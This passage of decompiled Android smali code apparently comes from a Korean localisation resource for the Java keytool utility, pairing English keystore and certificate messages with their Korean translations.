                                                                              279const-string v3, "keystore \ud30c\uc77c\uc774 \uc788\uc9c0\ub9cc \ube44\uc5b4 \uc788\uc2b5\ub2c8\ub2e4: "
                                                                              280aput-object v3, v2, v5
                                                                              281aput-object v2, v0, v1
                                                                              282const/16 v1, 0x1f
                                                                              283new-array v2, v6, [Ljava/lang/Object;
                                                                              285const-string v3, "Keystore file does not exist: "
                                                                              286aput-object v3, v2, v4
                                                                              288const-string v3, "keystore \ud30c\uc77c\uc774 \uc5c6\uc2b5\ub2c8\ub2e4: "
                                                                              289aput-object v3, v2, v5
                                                                              290aput-object v2, v0, v1
                                                                              291const/16 v1, 0x20
                                                                              292new-array v2, v6, [Ljava/lang/Object;
                                                                              294const-string v3, "Must specify destination alias"
                                                                              295aput-object v3, v2, v4
                                                                              297const-string v3, "\ub300\uc0c1 \ubcc4\uce6d\uc744 \uc9c0\uc815\ud574\uc57c \ud569\ub2c8\ub2e4."
                                                                              298aput-object v3, v2, v5
                                                                              299aput-object v2, v0, v1
                                                                              300const/16 v1, 0x21
                                                                              301new-array v2, v6, [Ljava/lang/Object;
                                                                              303const-string v3, "Must specify alias"
                                                                              304aput-object v3, v2, v4
                                                                              306const-string v3, "\ubcc4\uce6d\uc744 \uc9c0\uc815\ud574\uc57c \ud569\ub2c8\ub2e4."
                                                                              307aput-object v3, v2, v5
                                                                              308aput-object v2, v0, v1
                                                                              309const/16 v1, 0x22
                                                                              310new-array v2, v6, [Ljava/lang/Object;
                                                                              312const-string v3, "Keystore password must be at least 6 characters"
                                                                              313aput-object v3, v2, v4
                                                                              315const-string v3, "Keystore \uc554\ud638\ub294 \uc5ec\uc12f \uae00\uc790 \uc774\uc0c1\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4."
                                                                              316aput-object v3, v2, v5
                                                                              317aput-object v2, v0, v1
                                                                              318const/16 v1, 0x23
                                                                              319new-array v2, v6, [Ljava/lang/Object;
                                                                              321const-string v3, "Enter keystore password: "
                                                                              322aput-object v3, v2, v4
                                                                              324const-string v3, "keystore \uc554\ud638\ub97c \uc785\ub825\ud558\uc2ed\uc2dc\uc624: "
                                                                              325aput-object v3, v2, v5
                                                                              326aput-object v2, v0, v1
                                                                              327const/16 v1, 0x24
                                                                              328new-array v2, v6, [Ljava/lang/Object;
                                                                              330const-string v3, "Enter source keystore password: "
                                                                              331aput-object v3, v2, v4
                                                                              333const-string v3, "\uc18c\uc2a4 \ud0a4 \uc800\uc7a5\uc18c \uc554\ud638 \uc785\ub825: "
                                                                              334aput-object v3, v2, v5
                                                                              335aput-object v2, v0, v1
                                                                              336const/16 v1, 0x25
                                                                              337new-array v2, v6, [Ljava/lang/Object;
                                                                              339const-string v3, "Enter destination keystore password: "
                                                                              340aput-object v3, v2, v4
                                                                              342const-string v3, "\ub300\uc0c1 \ud0a4 \uc800\uc7a5\uc18c \uc554\ud638 \uc785\ub825: "
                                                                              343aput-object v3, v2, v5
                                                                              344aput-object v2, v0, v1
                                                                              345const/16 v1, 0x26
                                                                              346new-array v2, v6, [Ljava/lang/Object;
                                                                              348const-string v3, "Keystore password is too short - must be at least 6 characters"
                                                                              349aput-object v3, v2, v4
                                                                              351const-string v3, "Keystore \uc554\ud638\uac00 \ub108\ubb34 \uc9e7\uc2b5\ub2c8\ub2e4. \uc5ec\uc12f \uae00\uc790 \uc774\uc0c1\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4."
                                                                              352aput-object v3, v2, v5
                                                                              353aput-object v2, v0, v1
                                                                              354const/16 v1, 0x27
                                                                              355new-array v2, v6, [Ljava/lang/Object;
                                                                              357const-string v3, "Unknown Entry Type"
                                                                              358aput-object v3, v2, v4
                                                                              360const-string v3, "\uc54c \uc218 \uc5c6\ub294 \ud56d\ubaa9 \uc720\ud615"
                                                                              361aput-object v3, v2, v5
                                                                              362aput-object v2, v0, v1
                                                                              363const/16 v1, 0x28
                                                                              364new-array v2, v6, [Ljava/lang/Object;
                                                                              366const-string v3, "Too many failures. Alias not changed"
                                                                              367aput-object v3, v2, v4
                                                                              369const-string v3, "\uc2e4\ud328 \ud69f\uc218\uac00 \ub108\ubb34 \ub9ce\uc2b5\ub2c8\ub2e4. \ubcc4\uce6d\uc774 \ubcc0\uacbd\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4."
                                                                              370aput-object v3, v2, v5
                                                                              371aput-object v2, v0, v1
                                                                              372const/16 v1, 0x29
                                                                              373new-array v2, v6, [Ljava/lang/Object;
                                                                              375const-string v3, "Entry for alias <alias> successfully imported."
                                                                              376aput-object v3, v2, v4
                                                                              378const-string v3, "\ubcc4\uce6d {0}\uc5d0 \ub300\ud55c \ud56d\ubaa9\uc744 \uc131\uacf5\uc801\uc73c\ub85c \uac00\uc838\uc654\uc2b5\ub2c8\ub2e4."
                                                                              379aput-object v3, v2, v5
                                                                              380aput-object v2, v0, v1
                                                                              381const/16 v1, 0x2a
                                                                              382new-array v2, v6, [Ljava/lang/Object;
                                                                              384const-string v3, "Entry for alias <alias> not imported."
                                                                              385aput-object v3, v2, v4
                                                                              387const-string v3, "\ubcc4\uce6d {0}\uc5d0 \ub300\ud55c \ud56d\ubaa9\uc744 \uac00\uc838\uc624\uc9c0 \ubabb\ud588\uc2b5\ub2c8\ub2e4."
                                                                              388aput-object v3, v2, v5
                                                                              389aput-object v2, v0, v1
                                                                              390const/16 v1, 0x2b
                                                                              391new-array v2, v6, [Ljava/lang/Object;
                                                                              393const-string v3, "Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported."
                                                                              394aput-object v3, v2, v4
                                                                              396const-string v3, "\ubcc4\uce6d {0}\uc5d0 \ub300\ud55c \ud56d\ubaa9\uc744 \uac00\uc838\uc624\ub294 \ub3d9\uc548 \ubb38\uc81c\uac00 \ubc1c\uc0dd\ud588\uc2b5\ub2c8\ub2e4. {1}.\n\ubcc4\uce6d {0\uc5d0 \ub300\ud55c \ud56d\ubaa9\uc744 \uac00\uc838\uc624\uc9c0 \ubabb\ud588\uc2b5\ub2c8\ub2e4."
                                                                              397aput-object v3, v2, v5
                                                                              398aput-object v2, v0, v1
                                                                              399const/16 v1, 0x2c
                                                                              400new-array v2, v6, [Ljava/lang/Object;
                                                                              402const-string v3, "Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled"
                                                                              403aput-object v3, v2, v4
                                                                              405const-string v3, "\uac00\uc838\uc624\uae30 \uba85\ub839 \uc644\ub8cc: {0}\uac1c \ud56d\ubaa9\uc744 \uc131\uacf5\uc801\uc73c\ub85c \uac00\uc838\uc654\uc2b5\ub2c8\ub2e4. {1}\uac1c \ud56d\ubaa9\uc740 \uc2e4\ud328\ud588\uac70\ub098 \ucde8\uc18c\ub418\uc5c8\uc2b5\ub2c8\ub2e4."
                                                                              406aput-object v3, v2, v5
                                                                              407aput-object v2, v0, v1
                                                                              408const/16 v1, 0x2d
                                                                              409new-array v2, v6, [Ljava/lang/Object;
                                                                              411const-string v3, "Warning: Overwriting existing alias <alias> in destination keystore"
                                                                              412aput-object v3, v2, v4
                                                                              414const-string v3, "\uacbd\uace0:\t \ub300\uc0c1 \ud0a4 \uc800\uc7a5\uc18c\uc5d0\uc11c \uae30\uc874 \ubcc4\uce6d {0}\uc744(\ub97c) \ub36e\uc5b4\uc4f0\ub294 \uc911"
                                                                              415aput-object v3, v2, v5
                                                                              416aput-object v2, v0, v1
                                                                              417const/16 v1, 0x2e
                                                                              418new-array v2, v6, [Ljava/lang/Object;
                                                                              420const-string v3, "Existing entry alias <alias> exists, overwrite? [no]: "
                                                                              421aput-object v3, v2, v4
                                                                              423const-string v3, "\uae30\uc874 \ud56d\ubaa9 \ubcc4\uce6d {0}\uc774(\uac00) \uc788\uc2b5\ub2c8\ub2e4. \ub36e\uc5b4\uc4f0\uc2dc\uaca0\uc2b5\ub2c8\uae4c? [\uc544\ub2c8\uc624]: "
                                                                              424aput-object v3, v2, v5
                                                                              425aput-object v2, v0, v1
                                                                              426const/16 v1, 0x2f
                                                                              427new-array v2, v6, [Ljava/lang/Object;
                                                                              429const-string v3, "Too many failures - try later"
                                                                              430aput-object v3, v2, v4
                                                                              432const-string v3, "\uc624\ub958\uac00 \ub108\ubb34 \ub9ce\uc2b5\ub2c8\ub2e4. \ub098\uc911\uc5d0 \ub2e4\uc2dc \uc2dc\ub3c4\ud558\uc2ed\uc2dc\uc624."
                                                                              433aput-object v3, v2, v5
                                                                              434aput-object v2, v0, v1
                                                                              435const/16 v1, 0x30
                                                                              436new-array v2, v6, [Ljava/lang/Object;
                                                                              438const-string v3, "Certification request stored in file <filename>"
                                                                              439aput-object v3, v2, v4
                                                                              441const-string v3, "\uc778\uc99d \uc694\uccad\uc774 <{0}> \ud30c\uc77c\uc5d0 \uc800\uc7a5\ub418\uc5c8\uc2b5\ub2c8\ub2e4."
                                                                              442aput-object v3, v2, v5
                                                                              443aput-object v2, v0, v1
                                                                              444const/16 v1, 0x31
                                                                              445new-array v2, v6, [Ljava/lang/Object;
                                                                              447const-string v3, "Submit this to your CA"
                                                                              448aput-object v3, v2, v4
                                                                              450const-string v3, "CA\uc5d0\uac8c \uc81c\ucd9c\ud558\uc2ed\uc2dc\uc624."
                                                                              451aput-object v3, v2, v5
                                                                              452aput-object v2, v0, v1
                                                                              453const/16 v1, 0x32
                                                                              454new-array v2, v6, [Ljava/lang/Object;
                                                                              456const-string v3, "if alias not specified, destalias, srckeypass, and destkeypass must not be specified"
                                                                              457aput-object v3, v2, v4
                                                                              459const-string v3, "\ubcc4\uce6d\uc744 \uc9c0\uc815\ud558\uc9c0 \uc54a\uc740 \uacbd\uc6b0 destalias, srckeypass \ubc0f destkeypass\ub97c \uc9c0\uc815\ud558\uba74 \uc548 \ub429\ub2c8\ub2e4."
                                                                              460aput-object v3, v2, v5
                                                                              461aput-object v2, v0, v1
                                                                              462const/16 v1, 0x33
                                                                              463new-array v2, v6, [Ljava/lang/Object;
                                                                              465const-string v3, "Certificate stored in file <filename>"
                                                                              466aput-object v3, v2, v4
                                                                              468const-string v3, "\uc778\uc99d\uc11c\uac00 <{0}> \ud30c\uc77c\uc5d0 \uc800\uc7a5\ub418\uc5c8\uc2b5\ub2c8\ub2e4."
                                                                              469aput-object v3, v2, v5
                                                                              470aput-object v2, v0, v1
                                                                              471const/16 v1, 0x34
                                                                              472new-array v2, v6, [Ljava/lang/Object;
                                                                              474const-string v3, "Certificate reply was installed in keystore"
                                                                              475aput-object v3, v2, v4
                                                                              477const-string v3, "\uc778\uc99d\uc11c \ud68c\uc2e0\uc774 keystore\uc5d0 \uc124\uce58\ub418\uc5c8\uc2b5\ub2c8\ub2e4."
                                                                              478aput-object v3, v2, v5
                                                                              479aput-object v2, v0, v1
                                                                              480const/16 v1, 0x35
                                                                              481new-array v2, v6, [Ljava/lang/Object;
                                                                              483const-string v3, "Certificate reply was not installed in keystore"
                                                                              484aput-object v3, v2, v4
                                                                              486const-string v3, "\uc778\uc99d \ud68c\uc2e0\uc774 keystore\uc5d0 \uc124\uce58\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4."
                                                                              487aput-object v3, v2, v5
                                                                              488aput-object v2, v0, v1
                                                                              489const/16 v1, 0x36
                                                                              490new-array v2, v6, [Ljava/lang/Object;
                                                                              492const-string v3, "Certificate was added to keystore"
                                                                              493aput-object v3, v2, v4
                                                                              495const-string v3, "\uc778\uc99d\uc774 keystore\uc5d0 \ucd94\uac00\ub418\uc5c8\uc2b5\ub2c8\ub2e4."
                                                                              496aput-object v3, v2, v5
                                                                              497aput-object v2, v0, v1
                                                                              498const/16 v1, 0x37
                                                                              499new-array v2, v6, [Ljava/lang/Object;
                                                                              501const-string v3, "Certificate was not added to keystore"
                                                                              502aput-object v3, v2, v4
                                                                              504const-string v3, "\uc778\uc99d\uc11c\uac00 keystore\uc5d0 \ucd94\uac00\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4."
                                                                              505aput-object v3, v2, v5
                                                                              506aput-object v2, v0, v1
                                                                              507const/16 v1, 0x38
                                                                              508new-array v2, v6, [Ljava/lang/Object;
                                                                              510const-string v3, "[Storing ksfname]"
                                                                              511aput-object v3, v2, v4
                                                                              513const-string v3, "[{0} \uc800\uc7a5 \uc911]"
                                                                              514aput-object v3, v2, v5
                                                                              515aput-object v2, v0, v1
                                                                              516const/16 v1, 0x39
                                                                              517new-array v2, v6, [Ljava/lang/Object;
                                                                              519const-string v3, "alias has no public key (certificate)"
                                                                              520aput-object v3, v2, v4
                                                                              522const-string v3, "{0}\uc5d0\ub294 \uacf5\uac1c \ud0a4(\uc778\uc99d\uc11c)\uac00 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              523aput-object v3, v2, v5
                                                                              524aput-object v2, v0, v1
                                                                              525const/16 v1, 0x3a
                                                                              526new-array v2, v6, [Ljava/lang/Object;
                                                                              528const-string v3, "Cannot derive signature algorithm"
                                                                              529aput-object v3, v2, v4
                                                                              531const-string v3, "\uc11c\uba85 \uc54c\uace0\ub9ac\uc998\uc744 \uc720\ub3c4\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              532aput-object v3, v2, v5
                                                                              533aput-object v2, v0, v1
                                                                              534const/16 v1, 0x3b
                                                                              535new-array v2, v6, [Ljava/lang/Object;
                                                                              537const-string v3, "Alias <alias> does not exist"
                                                                              538aput-object v3, v2, v4
                                                                              540const-string v3, "<{0}> \ubcc4\uce6d\uc774 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              541aput-object v3, v2, v5
                                                                              542aput-object v2, v0, v1
                                                                              543const/16 v1, 0x3c
                                                                              544new-array v2, v6, [Ljava/lang/Object;
                                                                              546const-string v3, "Alias <{0}> has no certificate"
                                                                              547aput-object v3, v2, v4
                                                                              549const-string v3, "<{0}> \ubcc4\uce6d\uc5d0 \uc778\uc99d\uc11c\uac00 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              550aput-object v3, v2, v5
                                                                              551aput-object v2, v0, v1
                                                                              552const/16 v1, 0x3d
                                                                              553new-array v2, v6, [Ljava/lang/Object;
                                                                              555const-string v3, "Key pair not generated, alias <alias> already exists"
                                                                              556aput-object v3, v2, v4
                                                                              558const-string v3, "\ud0a4 \uc30d\uc774 \uc0dd\uc131\ub418\uc9c0 \uc54a\uc558\uace0 <{0}> \ubcc4\uce6d\uc774 \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4."
                                                                              559aput-object v3, v2, v5
                                                                              560aput-object v2, v0, v1
                                                                              561const/16 v1, 0x3e
                                                                              562new-array v2, v6, [Ljava/lang/Object;
                                                                              564const-string v3, "Cannot derive signature algorithm"
                                                                              565aput-object v3, v2, v4
                                                                              567const-string v3, "\uc11c\uba85 \uc54c\uace0\ub9ac\uc998\uc744 \uc720\ub3c4\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              568aput-object v3, v2, v5
                                                                              569aput-object v2, v0, v1
                                                                              570const/16 v1, 0x3f
                                                                              571new-array v2, v6, [Ljava/lang/Object;
                                                                              573const-string v3, "Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name"
                                                                              574aput-object v3, v2, v4
                                                                              576const-string v3, "\ub2e4\uc74c\uc5d0 \ub300\ud574 \uc720\ud6a8 \uae30\uac04\uc774 {3}\uc77c\uc778 {0}\ube44\ud2b8 {1} \ud0a4 \uc30d \ubc0f \uc790\uccb4 \uc11c\uba85\ub41c \uc778\uc99d\uc11c({2}) \uc0dd\uc131 \uc911\n\t: {4}"
                                                                              577aput-object v3, v2, v5
                                                                              578aput-object v2, v0, v1
                                                                              579const/16 v1, 0x40
                                                                              580new-array v2, v6, [Ljava/lang/Object;
                                                                              582const-string v3, "Enter key password for <alias>"
                                                                              583aput-object v3, v2, v4
                                                                              585const-string v3, "<{0}>\uc5d0 \ub300\ud55c \ud0a4 \uc554\ud638\ub97c \uc785\ub825\ud558\uc2ed\uc2dc\uc624."
                                                                              586aput-object v3, v2, v5
                                                                              587aput-object v2, v0, v1
                                                                              588const/16 v1, 0x41
                                                                              589new-array v2, v6, [Ljava/lang/Object;
                                                                              591const-string v3, "\t(RETURN if same as keystore password): "
                                                                              592aput-object v3, v2, v4
                                                                              594const-string v3, "\t(keystore \uc554\ud638\uc640 \uac19\uc740 \uacbd\uc6b0 Enter\ub97c \ub204\ub974\uc2ed\uc2dc\uc624): "
                                                                              595aput-object v3, v2, v5
                                                                              596aput-object v2, v0, v1
                                                                              597const/16 v1, 0x42
                                                                              598new-array v2, v6, [Ljava/lang/Object;
                                                                              600const-string v3, "Key password is too short - must be at least 6 characters"
                                                                              601aput-object v3, v2, v4
                                                                              603const-string v3, "\ud0a4 \uc554\ud638\uac00 \ub108\ubb34 \uc9e7\uc2b5\ub2c8\ub2e4. \uc5ec\uc12f \uae00\uc790 \uc774\uc0c1\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4."
                                                                              604aput-object v3, v2, v5
                                                                              605aput-object v2, v0, v1
                                                                              606const/16 v1, 0x43
                                                                              607new-array v2, v6, [Ljava/lang/Object;
                                                                              609const-string v3, "Too many failures - key not added to keystore"
                                                                              610aput-object v3, v2, v4
                                                                              612const-string v3, "\uc624\ub958\uac00 \ub108\ubb34 \ub9ce\uc2b5\ub2c8\ub2e4. keystore\uc5d0 \ud0a4\uac00 \ucd94\uac00\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4."
                                                                              613aput-object v3, v2, v5
                                                                              614aput-object v2, v0, v1
                                                                              615const/16 v1, 0x44
                                                                              616new-array v2, v6, [Ljava/lang/Object;
                                                                              618const-string v3, "Destination alias <dest> already exists"
                                                                              619aput-object v3, v2, v4
                                                                              621const-string v3, "\ub300\uc0c1 \ubcc4\uce6d <{0}>\uc774(\uac00) \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4."
                                                                              622aput-object v3, v2, v5
                                                                              623aput-object v2, v0, v1
                                                                              624const/16 v1, 0x45
                                                                              625new-array v2, v6, [Ljava/lang/Object;
                                                                              627const-string v3, "Password is too short - must be at least 6 characters"
                                                                              628aput-object v3, v2, v4
                                                                              630const-string v3, "\uc554\ud638\uac00 \ub108\ubb34 \uc9e7\uc2b5\ub2c8\ub2e4. \uc5ec\uc12f \uae00\uc790 \uc774\uc0c1\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4."
                                                                              631aput-object v3, v2, v5
                                                                              632aput-object v2, v0, v1
                                                                              633const/16 v1, 0x46
                                                                              634new-array v2, v6, [Ljava/lang/Object;
                                                                              636const-string v3, "Too many failures. Key entry not cloned"
                                                                              637aput-object v3, v2, v4
                                                                              639const-string v3, "\uc624\ub958\uac00 \ub108\ubb34 \ub9ce\uc2b5\ub2c8\ub2e4. \ud0a4 \ud56d\ubaa9\uc774 \ubcf5\uc81c\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4."
                                                                              640aput-object v3, v2, v5
                                                                              641aput-object v2, v0, v1
                                                                              642const/16 v1, 0x47
                                                                              643new-array v2, v6, [Ljava/lang/Object;
                                                                              645const-string v3, "key password for <alias>"
                                                                              646aput-object v3, v2, v4
                                                                              648const-string v3, "<{0}>\uc5d0 \ub300\ud55c \ud0a4 \uc554\ud638"
                                                                              649aput-object v3, v2, v5
                                                                              650aput-object v2, v0, v1
                                                                              651const/16 v1, 0x48
                                                                              652new-array v2, v6, [Ljava/lang/Object;
                                                                              654const-string v3, "Keystore entry for <id.getName()> already exists"
                                                                              655aput-object v3, v2, v4
                                                                              657const-string v3, "<{0}>\uc5d0 \ub300\ud55c keystore \ud56d\ubaa9\uc774 \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4."
                                                                              658aput-object v3, v2, v5
                                                                              659aput-object v2, v0, v1
                                                                              660const/16 v1, 0x49
                                                                              661new-array v2, v6, [Ljava/lang/Object;
                                                                              663const-string v3, "Creating keystore entry for <id.getName()> ..."
                                                                              664aput-object v3, v2, v4
                                                                              666const-string v3, "<{0}>\uc5d0 \ub300\ud55c keystore \ud56d\ubaa9\uc744 \uc791\uc131\ud558\ub294 \uc911 ..."
                                                                              667aput-object v3, v2, v5
                                                                              668aput-object v2, v0, v1
                                                                              669const/16 v1, 0x4a
                                                                              670new-array v2, v6, [Ljava/lang/Object;
                                                                              672const-string v3, "No entries from identity database added"
                                                                              673aput-object v3, v2, v4
                                                                              675const-string v3, "\uc2e0\uc6d0 \ub370\uc774\ud130\ubca0\uc774\uc2a4\uc5d0\uc11c \ud56d\ubaa9\uc774 \ucd94\uac00\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4."
                                                                              676aput-object v3, v2, v5
                                                                              677aput-object v2, v0, v1
                                                                              678const/16 v1, 0x4b
                                                                              679new-array v2, v6, [Ljava/lang/Object;
                                                                              681const-string v3, "Alias name: alias"
                                                                              682aput-object v3, v2, v4
                                                                              684const-string v3, "\ubcc4\uce6d \uc774\ub984: {0}"
                                                                              685aput-object v3, v2, v5
                                                                              686aput-object v2, v0, v1
                                                                              687const/16 v1, 0x4c
                                                                              688new-array v2, v6, [Ljava/lang/Object;
                                                                              690const-string v3, "Creation date: keyStore.getCreationDate(alias)"
                                                                              691aput-object v3, v2, v4
                                                                              693const-string v3, "\uc791\uc131\uc77c: keyStore.getCreationDate(alias)"
                                                                              694aput-object v3, v2, v5
                                                                              695aput-object v2, v0, v1
                                                                              696const/16 v1, 0x4d
                                                                              697new-array v2, v6, [Ljava/lang/Object;
                                                                              699const-string v3, "alias, keyStore.getCreationDate(alias), "
                                                                              700aput-object v3, v2, v4
                                                                              702const-string v3, "{0}, {1,date}, "
                                                                              703aput-object v3, v2, v5
                                                                              704aput-object v2, v0, v1
                                                                              705const/16 v1, 0x4e
                                                                              706new-array v2, v6, [Ljava/lang/Object;
                                                                              708const-string v3, "alias, "
                                                                              709aput-object v3, v2, v4
                                                                              711const-string v3, "{0},"
                                                                              712aput-object v3, v2, v5
                                                                              713aput-object v2, v0, v1
                                                                              714const/16 v1, 0x4f
                                                                              715new-array v2, v6, [Ljava/lang/Object;
                                                                              717const-string v3, "Entry type: <type>"
                                                                              718aput-object v3, v2, v4
                                                                              720const-string v3, "\ud56d\ubaa9 \uc720\ud615: {0}"
                                                                              721aput-object v3, v2, v5
                                                                              722aput-object v2, v0, v1
                                                                              723const/16 v1, 0x50
                                                                              724new-array v2, v6, [Ljava/lang/Object;
                                                                              726const-string v3, "Certificate chain length: "
                                                                              727aput-object v3, v2, v4
                                                                              729const-string v3, "\uc778\uc99d\uc11c \uccb4\uc778 \uae38\uc774: "
                                                                              730aput-object v3, v2, v5
                                                                              731aput-object v2, v0, v1
                                                                              732const/16 v1, 0x51
                                                                              733new-array v2, v6, [Ljava/lang/Object;
                                                                              735const-string v3, "Certificate[(i + 1)]:"
                                                                              736aput-object v3, v2, v4
                                                                              738const-string v3, "\uc778\uc99d\uc11c[{0,number,integer}]:"
                                                                              739aput-object v3, v2, v5
                                                                              740aput-object v2, v0, v1
                                                                              741const/16 v1, 0x52
                                                                              742new-array v2, v6, [Ljava/lang/Object;
                                                                              744const-string v3, "Certificate fingerprint (MD5): "
                                                                              745aput-object v3, v2, v4
                                                                              747const-string v3, "\uc778\uc99d\uc11c \uc9c0\ubb38(MD5): "
                                                                              748aput-object v3, v2, v5
                                                                              749aput-object v2, v0, v1
                                                                              750const/16 v1, 0x53
                                                                              751new-array v2, v6, [Ljava/lang/Object;
                                                                              753const-string v3, "Entry type: trustedCertEntry\n"
                                                                              754aput-object v3, v2, v4
                                                                              756const-string v3, "\uc785\ub825 \uc720\ud615: trustedCertEntry\n"
                                                                              757aput-object v3, v2, v5
                                                                              758aput-object v2, v0, v1
                                                                              759const/16 v1, 0x54
                                                                              760new-array v2, v6, [Ljava/lang/Object;
                                                                              762const-string v3, "trustedCertEntry,"
                                                                              763aput-object v3, v2, v4
                                                                              765const-string v3, "trustedCertEntry,"
                                                                              766aput-object v3, v2, v5
                                                                              767aput-object v2, v0, v1
                                                                              768const/16 v1, 0x55
                                                                              769new-array v2, v6, [Ljava/lang/Object;
                                                                              771const-string v3, "Keystore type: "
                                                                              772aput-object v3, v2, v4
                                                                              774const-string v3, "Keystore \uc720\ud615: "
                                                                              775aput-object v3, v2, v5
                                                                              776aput-object v2, v0, v1
                                                                              777const/16 v1, 0x56
                                                                              778new-array v2, v6, [Ljava/lang/Object;
                                                                              780const-string v3, "Keystore provider: "
                                                                              781aput-object v3, v2, v4
                                                                              783const-string v3, "Keystore \uacf5\uae09\uc790: "
                                                                              784aput-object v3, v2, v5
                                                                              785aput-object v2, v0, v1
                                                                              786const/16 v1, 0x57
                                                                              787new-array v2, v6, [Ljava/lang/Object;
                                                                              789const-string v3, "Your keystore contains keyStore.size() entry"
                                                                              790aput-object v3, v2, v4
                                                                              792const-string v3, "Keystore\uc5d0\ub294 {0,number,integer} \ud56d\ubaa9\uc774 \ud3ec\ud568\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4."
                                                                              793aput-object v3, v2, v5
                                                                              794aput-object v2, v0, v1
                                                                              795const/16 v1, 0x58
                                                                              796new-array v2, v6, [Ljava/lang/Object;
                                                                              798const-string v3, "Your keystore contains keyStore.size() entries"
                                                                              799aput-object v3, v2, v4
                                                                              801const-string v3, "Keystore\uc5d0\ub294 {0,number,integer} \ud56d\ubaa9\uc774 \ud3ec\ud568\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4."
                                                                              802aput-object v3, v2, v5
                                                                              803aput-object v2, v0, v1
                                                                              804const/16 v1, 0x59
                                                                              805new-array v2, v6, [Ljava/lang/Object;
                                                                              807const-string v3, "Failed to parse input"
                                                                              808aput-object v3, v2, v4
                                                                              810const-string v3, "\uc785\ub825\uc744 \uad6c\ubb38 \ubd84\uc11d\ud558\uc9c0 \ubabb\ud588\uc2b5\ub2c8\ub2e4."
                                                                              811aput-object v3, v2, v5
                                                                              812aput-object v2, v0, v1
                                                                              813const/16 v1, 0x5a
                                                                              814new-array v2, v6, [Ljava/lang/Object;
                                                                              816const-string v3, "Empty input"
                                                                              817aput-object v3, v2, v4
                                                                              819const-string v3, "\uc785\ub825\uc774 \ube44\uc5b4\uc788\uc2b5\ub2c8\ub2e4."
                                                                              820aput-object v3, v2, v5
                                                                              821aput-object v2, v0, v1
                                                                              822const/16 v1, 0x5b
                                                                              823new-array v2, v6, [Ljava/lang/Object;
                                                                              825const-string v3, "Not X.509 certificate"
                                                                              826aput-object v3, v2, v4
                                                                              828const-string v3, "X.509 \uc778\uc99d\uc11c\uac00 \uc544\ub2d9\ub2c8\ub2e4."
                                                                              829aput-object v3, v2, v5
                                                                              830aput-object v2, v0, v1
                                                                              831const/16 v1, 0x5c
                                                                              832new-array v2, v6, [Ljava/lang/Object;
                                                                              834const-string v3, "Cannot derive signature algorithm"
                                                                              835aput-object v3, v2, v4
                                                                              837const-string v3, "\uc11c\uba85 \uc54c\uace0\ub9ac\uc998\uc744 \uc720\ub3c4\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              838aput-object v3, v2, v5
                                                                              839aput-object v2, v0, v1
                                                                              840const/16 v1, 0x5d
                                                                              841new-array v2, v6, [Ljava/lang/Object;
                                                                              843const-string v3, "alias has no public key"
                                                                              844aput-object v3, v2, v4
                                                                              846const-string v3, "{0}\uc5d0\ub294 \uacf5\uac1c \ud0a4\uac00 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              847aput-object v3, v2, v5
                                                                              848aput-object v2, v0, v1
                                                                              849const/16 v1, 0x5e
                                                                              850new-array v2, v6, [Ljava/lang/Object;
                                                                              852const-string v3, "alias has no X.509 certificate"
                                                                              853aput-object v3, v2, v4
                                                                              855const-string v3, "{0}\uc5d0 X.509 \uc778\uc99d\uc11c\uac00 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              856aput-object v3, v2, v5
                                                                              857aput-object v2, v0, v1
                                                                              858const/16 v1, 0x5f
                                                                              859new-array v2, v6, [Ljava/lang/Object;
                                                                              861const-string v3, "New certificate (self-signed):"
                                                                              862aput-object v3, v2, v4
                                                                              864const-string v3, "\uc0c8 \uc778\uc99d\uc11c(\uc790\uccb4 \uc11c\uba85):"
                                                                              865aput-object v3, v2, v5
                                                                              866aput-object v2, v0, v1
                                                                              867const/16 v1, 0x60
                                                                              868new-array v2, v6, [Ljava/lang/Object;
                                                                              870const-string v3, "Reply has no certificates"
                                                                              871aput-object v3, v2, v4
                                                                              873const-string v3, "\ud68c\uc2e0\uc5d0 \uc778\uc99d\uc11c\uac00 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              874aput-object v3, v2, v5
                                                                              875aput-object v2, v0, v1
                                                                              876const/16 v1, 0x61
                                                                              877new-array v2, v6, [Ljava/lang/Object;
                                                                              879const-string v3, "Certificate not imported, alias <alias> already exists"
                                                                              880aput-object v3, v2, v4
                                                                              882const-string v3, "\uc778\uc99d\uc11c\ub97c \uac00\uc838\uc624\uc9c0 \uc54a\uc558\uace0 <{0}> \ubcc4\uce6d\uc774 \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4."
                                                                              883aput-object v3, v2, v5
                                                                              884aput-object v2, v0, v1
                                                                              885const/16 v1, 0x62
                                                                              886new-array v2, v6, [Ljava/lang/Object;
                                                                              888const-string v3, "Input not an X.509 certificate"
                                                                              889aput-object v3, v2, v4
                                                                              891const-string v3, "\uc785\ub825\uc774 X.509 \uc778\uc99d\uc11c\uac00 \uc544\ub2d9\ub2c8\ub2e4."
                                                                              892aput-object v3, v2, v5
                                                                              893aput-object v2, v0, v1
                                                                              894const/16 v1, 0x63
